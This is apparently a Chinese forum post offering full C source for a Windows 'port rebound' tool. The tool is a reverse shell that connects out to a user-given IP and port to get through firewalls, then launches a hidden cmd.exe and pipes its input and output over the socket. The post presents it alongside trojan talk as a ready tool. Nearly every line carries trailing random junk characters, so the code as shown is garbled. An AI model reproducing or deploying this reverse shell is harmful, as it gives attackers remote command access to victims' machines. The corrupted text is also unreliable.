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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V)?g4M3}  
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/* ============================== , X+(wp  
Rebound port in Windows NT ed2 &9E>9b  
By wind,2006/7 x@l~*6!K  
===============================*/ |Y8o+O_`  
#include +m},c-,=$w  
#include >dH*FZ:c  
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#pragma comment(lib,"wsock32.lib") {N`<e>A]{  
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void OutputShell(); eNskuG|1  
SOCKET sClient; Oc=PJf%D#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L*Cf&c`8r  
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void main(int argc,char **argv) &xT~;R^  
{ 0(6`dr_  
WSADATA stWsaData; gx.]4 v  
int nRet; 3Q"+ #Ob  
SOCKADDR_IN stSaiClient,stSaiServer; [l{eJ /W  
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if(argc != 3) :cz]8~i\  
{ )}lV41u  
printf("Useage:\n\rRebound DestIP DestPort\n"); Gi2Ey37]O  
return; O/~^}8TLL  
} f.CI.aozW  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~n\ea:.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^@> Qiy  
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stSaiClient.sin_family = AF_INET; H2KY$;X [  
stSaiClient.sin_port = htons(0); d+)L\ `4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |}Lgo"cTC  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B)NB6dCp  
{ p-Btbhv  
printf("Bind Socket Failed!\n"); K Hc+  
return; 0_.hU^fP  
} t fQq3#  
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stSaiServer.sin_family = AF_INET; m^+ ~pC5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YtQWArX,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?V)6`St#C  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2"^9t1C2  
{ xo+z[OIlF  
printf("Connect Error!"); 1MSu ]) W  
return; G-<~I#k  
} aC` c^'5  
OutputShell(); v Rs5-T  
} m$g^On  
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void OutputShell() <ZdNPcT<s  
{ 4Fq}*QJ-  
char szBuff[1024]; 3I(M<sB}  
SECURITY_ATTRIBUTES stSecurityAttributes; n-Y'LK40Os  
OSVERSIONINFO stOsversionInfo; v\FD~   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SsZzYj.d  
STARTUPINFO stStartupInfo; -/?<@*n  
char *szShell; B.jYU  
PROCESS_INFORMATION stProcessInformation; 5w9<_W0d  
unsigned long lBytesRead; v,B\+q/  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t T:yvU@a  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jyr#e  
stSecurityAttributes.lpSecurityDescriptor = 0; .IU+4ENSy4  
stSecurityAttributes.bInheritHandle = TRUE; ] ={Hq9d@  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iI7~9SCE  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K(2s%  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DAi[3`C  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t1S~~FLE  
stStartupInfo.wShowWindow = SW_HIDE; k"$V O+}m  
stStartupInfo.hStdInput = hReadPipe; 9~yuyv4$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r MlNp?{_  
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GetVersionEx(&stOsversionInfo); ~O6=dR  
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switch(stOsversionInfo.dwPlatformId) 1\uS~RR  
{ <Vb{QOgc;  
case 1: uip]K{/A!e  
szShell = "command.com"; rg\w!L(  
break; #4>F%_  
default: `0F IJT  
szShell = "cmd.exe"; yM@cml6Ox  
break; 1wt]J!hgV  
} X*Zv,Wm  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4NIfQYC.  
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send(sClient,szMsg,77,0); 1YxI q565  
while(1) e<K=Q$U.  
{ }{J8U2])k  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _NFJm(X.  
if(lBytesRead) Pif1sL6'  
{ 8z"Yo7no  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [@;Z xs  
send(sClient,szBuff,lBytesRead,0); c/RG1w  
} 5Mr:(|JyV  
else Y|F);XXIl  
{ rH,N.H#]  
lBytesRead=recv(sClient,szBuff,1024,0); ]Ea-?IhD  
if(lBytesRead<=0) break; OgX."pK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G)Y!aX  
} 4.TG&IQ nN  
} U' Cp3>  
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return; x& S>Mr  
}
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